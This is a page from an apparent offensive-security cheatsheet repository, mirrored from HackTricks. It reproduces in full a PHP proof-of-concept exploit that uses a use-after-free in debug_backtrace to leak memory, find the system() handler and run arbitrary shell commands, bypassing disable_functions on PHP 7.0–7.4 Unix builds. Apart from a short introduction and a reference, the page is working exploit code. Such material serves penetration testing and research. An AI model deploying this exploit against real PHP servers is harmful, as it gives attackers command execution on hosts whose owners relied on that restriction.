daemon-sec-cheatsheet

The cheatsheet vault for operators: AD, enumeration, exploitation, priv-esc, web, DFIR
git clone https://git.daemon-sec.xyz/daemon-sec-cheatsheet.git
Log | Files | Refs | README | LICENSE

disable-functions-bypass-php-7-0-7-4-nix-only.md (7398B)


      1 ---
      2 title: "disablefunctions bypass - PHP 7.0-7.4 (\\nix only)"
      3 section: "Network Services"
      4 sectionSlug: "network-services-pentesting"
      5 sourcePath: "src/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-php-7.0-7.4-nix-only.md"
      6 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-php-7.0-7.4-nix-only.md"
      7 sha: "188de82beb54e70956b2952367a0af91d26758b8"
      8 isIndex: false
      9 modified: true
     10 license: "CC-BY-NC-4.0"
     11 ---
     12 
     13 # disable_functions bypass - PHP 7.0-7.4 (\*nix only)
     14 
     15 ## PHP 7.0–7.4 (\*nix only)
     16 
     17 This historical PoC abuses a use-after-free condition involving exception backtraces to replace an internal function handler with `system`. It targets Unix-like PHP 7.0–7.4 builds available when the exploit was published; memory layout, build options, and later package patches can affect reliability. The original source and preserved technical comments follow.<sup>[[1]](#references)</sup>
     18 
     19 ```php
     20 <?php
     21 
     22 # PHP 7.0-7.4 disable_functions bypass PoC (*nix only)
     23 #
     24 # Bug: https://bugs.php.net/bug.php?id=76047
     25 # debug_backtrace() returns a reference to a variable
     26 # that has been destroyed, causing a UAF vulnerability.
     27 #
     28 # This exploit should work on all PHP 7.0-7.4 versions
     29 # released as of 30/01/2020.
     30 #
     31 # Author: https://github.com/mm0r1
     32 
     33 pwn("uname -a");
     34 
     35 function pwn($cmd) {
     36     global $abc, $helper, $backtrace;
     37 
     38     class Vuln {
     39         public $a;
     40         public function __destruct() {
     41             global $backtrace;
     42             unset($this->a);
     43             $backtrace = (new Exception)->getTrace(); # ;)
     44             if(!isset($backtrace[1]['args'])) { # PHP >= 7.4
     45                 $backtrace = debug_backtrace();
     46             }
     47         }
     48     }
     49 
     50     class Helper {
     51         public $a, $b, $c, $d;
     52     }
     53 
     54     function str2ptr(&$str, $p = 0, $s = 8) {
     55         $address = 0;
     56         for($j = $s-1; $j >= 0; $j--) {
     57             $address <<= 8;
     58             $address |= ord($str[$p+$j]);
     59         }
     60         return $address;
     61     }
     62 
     63     function ptr2str($ptr, $m = 8) {
     64         $out = "";
     65         for ($i=0; $i < $m; $i++) {
     66             $out .= chr($ptr & 0xff);
     67             $ptr >>= 8;
     68         }
     69         return $out;
     70     }
     71 
     72     function write(&$str, $p, $v, $n = 8) {
     73         $i = 0;
     74         for($i = 0; $i < $n; $i++) {
     75             $str[$p + $i] = chr($v & 0xff);
     76             $v >>= 8;
     77         }
     78     }
     79 
     80     function leak($addr, $p = 0, $s = 8) {
     81         global $abc, $helper;
     82         write($abc, 0x68, $addr + $p - 0x10);
     83         $leak = strlen($helper->a);
     84         if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
     85         return $leak;
     86     }
     87 
     88     function parse_elf($base) {
     89         $e_type = leak($base, 0x10, 2);
     90 
     91         $e_phoff = leak($base, 0x20);
     92         $e_phentsize = leak($base, 0x36, 2);
     93         $e_phnum = leak($base, 0x38, 2);
     94 
     95         for($i = 0; $i < $e_phnum; $i++) {
     96             $header = $base + $e_phoff + $i * $e_phentsize;
     97             $p_type  = leak($header, 0, 4);
     98             $p_flags = leak($header, 4, 4);
     99             $p_vaddr = leak($header, 0x10);
    100             $p_memsz = leak($header, 0x28);
    101 
    102             if($p_type == 1 && $p_flags == 6) { # PT_LOAD, PF_Read_Write
    103                 # handle pie
    104                 $data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
    105                 $data_size = $p_memsz;
    106             } else if($p_type == 1 && $p_flags == 5) { # PT_LOAD, PF_Read_exec
    107                 $text_size = $p_memsz;
    108             }
    109         }
    110 
    111         if(!$data_addr || !$text_size || !$data_size)
    112             return false;
    113 
    114         return [$data_addr, $text_size, $data_size];
    115     }
    116 
    117     function get_basic_funcs($base, $elf) {
    118         list($data_addr, $text_size, $data_size) = $elf;
    119         for($i = 0; $i < $data_size / 8; $i++) {
    120             $leak = leak($data_addr, $i * 8);
    121             if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
    122                 $deref = leak($leak);
    123                 # 'constant' constant check
    124                 if($deref != 0x746e6174736e6f63)
    125                     continue;
    126             } else continue;
    127 
    128             $leak = leak($data_addr, ($i + 4) * 8);
    129             if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
    130                 $deref = leak($leak);
    131                 # 'bin2hex' constant check
    132                 if($deref != 0x786568326e6962)
    133                     continue;
    134             } else continue;
    135 
    136             return $data_addr + $i * 8;
    137         }
    138     }
    139 
    140     function get_binary_base($binary_leak) {
    141         $base = 0;
    142         $start = $binary_leak & 0xfffffffffffff000;
    143         for($i = 0; $i < 0x1000; $i++) {
    144             $addr = $start - 0x1000 * $i;
    145             $leak = leak($addr, 0, 7);
    146             if($leak == 0x10102464c457f) { # ELF header
    147                 return $addr;
    148             }
    149         }
    150     }
    151 
    152     function get_system($basic_funcs) {
    153         $addr = $basic_funcs;
    154         do {
    155             $f_entry = leak($addr);
    156             $f_name = leak($f_entry, 0, 6);
    157 
    158             if($f_name == 0x6d6574737973) { # system
    159                 return leak($addr + 8);
    160             }
    161             $addr += 0x20;
    162         } while($f_entry != 0);
    163         return false;
    164     }
    165 
    166     function trigger_uaf($arg) {
    167         # str_shuffle prevents opcache string interning
    168         $arg = str_shuffle(str_repeat('A', 79));
    169         $vuln = new Vuln();
    170         $vuln->a = $arg;
    171     }
    172 
    173     if(stristr(PHP_OS, 'WIN')) {
    174         die('This PoC is for *nix systems only.');
    175     }
    176 
    177     $n_alloc = 10; # increase this value if UAF fails
    178     $contiguous = [];
    179     for($i = 0; $i < $n_alloc; $i++)
    180         $contiguous[] = str_shuffle(str_repeat('A', 79));
    181 
    182     trigger_uaf('x');
    183     $abc = $backtrace[1]['args'][0];
    184 
    185     $helper = new Helper;
    186     $helper->b = function ($x) { };
    187 
    188     if(strlen($abc) == 79 || strlen($abc) == 0) {
    189         die("UAF failed");
    190     }
    191 
    192     # leaks
    193     $closure_handlers = str2ptr($abc, 0);
    194     $php_heap = str2ptr($abc, 0x58);
    195     $abc_addr = $php_heap - 0xc8;
    196 
    197     # fake value
    198     write($abc, 0x60, 2);
    199     write($abc, 0x70, 6);
    200 
    201     # fake reference
    202     write($abc, 0x10, $abc_addr + 0x60);
    203     write($abc, 0x18, 0xa);
    204 
    205     $closure_obj = str2ptr($abc, 0x20);
    206 
    207     $binary_leak = leak($closure_handlers, 8);
    208     if(!($base = get_binary_base($binary_leak))) {
    209         die("Couldn't determine binary base address");
    210     }
    211 
    212     if(!($elf = parse_elf($base))) {
    213         die("Couldn't parse ELF header");
    214     }
    215 
    216     if(!($basic_funcs = get_basic_funcs($base, $elf))) {
    217         die("Couldn't get basic_functions address");
    218     }
    219 
    220     if(!($zif_system = get_system($basic_funcs))) {
    221         die("Couldn't get zif_system address");
    222     }
    223 
    224     # fake closure object
    225     $fake_obj_offset = 0xd0;
    226     for($i = 0; $i < 0x110; $i += 8) {
    227         write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
    228     }
    229 
    230     # pwn
    231     write($abc, 0x20, $abc_addr + $fake_obj_offset);
    232     write($abc, 0xd0 + 0x38, 1, 4); # internal func type
    233     write($abc, 0xd0 + 0x68, $zif_system); # internal func handler
    234 
    235     ($helper->b)($cmd);
    236     exit();
    237 }
    238 ```
    239 
    240 ## References
    241 
    242 - [1] [PHP 7.0-7.4 use-after-free disable_functions bypass exploit (mm0r1/exploits)](https://github.com/mm0r1/exploits/blob/master/php7-backtrace-bypass/exploit.php)